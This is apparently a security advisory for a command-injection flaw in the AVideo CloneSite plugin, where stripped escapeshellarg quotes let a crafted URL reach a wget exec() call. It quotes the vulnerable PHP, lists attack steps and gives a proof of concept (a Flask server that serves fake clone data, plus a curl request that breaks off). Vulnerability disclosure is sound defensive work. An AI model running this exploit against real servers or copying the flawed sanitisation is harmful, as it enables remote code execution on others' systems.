GHSA-xr6f-h4x7-r6qp

Description

Summary

The cloneServer.json.php endpoint in the CloneSite plugin constructs shell commands using user-controlled input (url parameter) without proper sanitization. The input is directly concatenated into a wget command executed via exec(), allowing command injection.

An attacker can inject arbitrary shell commands by breaking out of the intended URL context using shell metacharacters (e.g., ;). This leads to Remote Code Execution (RCE) on the server.

Details

Inside plugin/CloneSite/cloneClient.json.php(line112) didn't have proper sanitization

$objClone->cloneSiteURL = str_replace("'", '', escapeshellarg($objClone->cloneSiteURL));

use str_replace make ' added by escapeshellarg become so hacker can inject evil cloneSiteURL to rce

$sqlURL = "{$objClone->cloneSiteURL}videos/clones/{$json->sqlFile}"; \\116
$cmd = "wget -O {$sqlFile} {$sqlURL}"; \\117
exec($cmd . " 2>&1", $output, $return_val);                 \\119

The attack flow

1. make a evil site to provide date

2. add evil url in objects/pluginAddDataObject.json.php

3. access plugin/CloneSite/cloneClient.json.php to trigger rce

Poc

make a evil site use python like this

from flask import Flask, jsonify, request

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):
    print("PATH:", path)


    return jsonify({
            "error": False,
            "msg": "",
            "url": "http://target-site.com/",
            "key": "target_clone_key",
            "useRsync": 0,
            "videosDir": "/var/www/html/AVideo/videos/",
            "sqlFile": "Clone_mysqlDump_evil123.sql",
            "videoFiles": [],
            "photoFiles": []
        })



if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8071)

change url with payload like (need admin)

curl -b 'PHPSESSID=<admin_session>'
-X POST...